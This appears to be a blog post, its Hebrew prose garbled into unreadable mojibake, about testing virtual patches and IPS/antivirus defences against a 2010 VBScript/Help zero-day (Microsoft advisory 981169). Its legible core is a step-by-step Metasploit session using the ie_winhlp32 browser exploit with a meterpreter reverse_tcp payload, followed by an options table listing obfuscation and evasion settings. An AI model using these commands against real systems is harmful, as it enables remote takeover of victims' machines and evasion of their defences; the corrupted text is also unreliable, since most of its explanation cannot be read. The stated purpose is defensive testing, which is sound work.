virtual patch's ืื ืืืืื ืืืกืืืช ืืชืงืคื ืืคื ื ืฉืืืจืืจ ืืืืื ืืจืฉืื ื ZERODAY ืื ืืื ื ืืขืืื ืืืื ืืคืืืข ืืืืชืจ ืืืืฉืืื , ืืืืืจ ืืืื ืื ืืืชืงืืคืื ืืืืืื ืืืฉืชืืฉ ืืคืืืขืืช ืืืืืืื ืืืฆืืื ืื ืงืจืื ื 100%.
ืื ืืื ืืคืจืกืืืื ืฉืืืฆืืื ืืืชื ืืืจืืช ืืืืื ืืืืืข ื ืืื ืื?
ืืจืืื ืื ืืขืืื ืืกืืืฆืื ืืชืงืคืืช ืืืืืงืื ืืช ืืืื ืืช ืZERODAY ื ื ื ืช .
ื
ื ื ืืืืืฅ ืืื ืื ืฉื ืืืืืื ืืืชืงืื BACKTRACK ืืืืฉืชืืฉ ื METASPLOIT ืื ืืืื ืืืจืื ืืืืฆืืข ืืชืงืคื ืืืืชืืช ืชืื ืืื ืฉืืืืฉ ืืงืื ืืืืื ืืืื ืืจื ื ืืืืืงืช ืืขืจืืืช ืืืืืื ืฉืืื.
ืืื ืืื ืฆืืจื ื PENTEST ืืขืืืง ืืืืช ืฆืจืืื ืืืืืช ืขืืืื ืฉืืื ืืืง ืืืฉืืืฃ .ืืืง ื ืืื ืืืืชืงืคืืช ื ืืชื ืืกืืืฅ ืืฉืขื ืขืืืื.
ืื ื ืืืฉืืช ืืืจ ืขืืืชื ืขื
ืืืืืช ืฉืืื ืืืืช ืืืืจื ืฉืื ืืืืืจ ืืช ืฉืื ืืืขืงืืืช ืื ืฉืื ืชื ืืืชืืื .
ืืืืืื
ื Z0RO DAY ืืืืจืื ืืืืช ืืืงืจืืกืืคื ืืืืคืฉืจ ืืจืฆืช ืงืื ืขื ืืืืชืงืฃ ืข"ื ืคืืชืืื ืืืืืฅ f1 ืืจื ืืืืขื ืืืชืืื ื
VB
Microsoft Security Advisory 981169
Vulnerability in VBScript Could Allow Remote Code Execution
Published: March 01, 2010
ืืืงืื ืืฉืืช ืืืืงืืช ื PATCH -ื ืืืืง ืืื ืงืื ืEXPLOIT ืืืื ืื ื ืกื ืืืืืง ืืช ืืกืื ืืช ืืขืจืืืช ืืืืืื ืฉืื ื ืืืื
ืืื ืืืื ืืช ืืืืืฉื , IPS,MAIL ืืขื ืืจืืช ื AV ืืืงืืื.
ืืงืื ืืืื ืืืืืงื ื METASPLOIT
ืืืืจ ืื ืืืืืจืืช ืืืขืืืื ืื ื ืขืื ืืชืจ ืืจืฉืช ืืืืฆืข ืืช ื EXPLOIT ืข"ื ืืจืฆืฅ ืืคืงืืืืช ืืืืืช
$ msfconsole
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
msf > use exploit/windows/browser/ie_winhlp32
msf exploit(ie_winhlp32) > show payloads
msf exploit(ie_winhlp32) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(ie_winhlp32) > set LHOST [MY IP ADDRESS]
msf exploit(ie_winhlp32) > exploit
ืืืคืฆืืืช ืืืืืื:
| SRVHOST | The local host to listen on. (default: 0.0.0.0) |
| SRVPORT | The local port to listen on. (default: 8080) |
| SSL | Negotiate SSL for incoming connections |
| SSLVersion | Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1) (default: SSL3) |
| URIPATH | The URI to use for this exploit (default is random) |
| ContextInformationFile | The information file that contains context information |
| DisablePayloadHandler | Disable the handler code for the selected payload |
| EnableContextEncoding | Use transient context when encoding payloads |
| WORKSPACE | Specify the workspace for this module |
| HTML::base64 | Enable HTML obfuscation via an embeded base64 html object (accepted: none, plain, single_pad, double_pad, random_space_injection) |
| HTML::javascript::escape | Enable HTML obfuscation via HTML escaping (number of iterations) |
| HTML::unicode | Enable HTTP obfuscation via unicode (accepted: none, utf-16le, utf-16be, utf-16be-marker, utf-32le, utf-32be) |
| HTTP::chunked | Enable chunking of HTTP responses via "Transfer-Encoding: chunked" |
| HTTP::compression | Enable compression of HTTP responses via content encoding (accepted: none, gzip, deflate) |
| HTTP::header_folding | Enable folding of HTTP headers |
| HTTP::junk_headers | Enable insertion of random junk HTTP headers |
| TCP::max_send_size | Maximum tcp segment size. (0 = disable) |
| TCP::send_delay | Delays inserted before every send. (0 = disable) |
ืืืฆืืื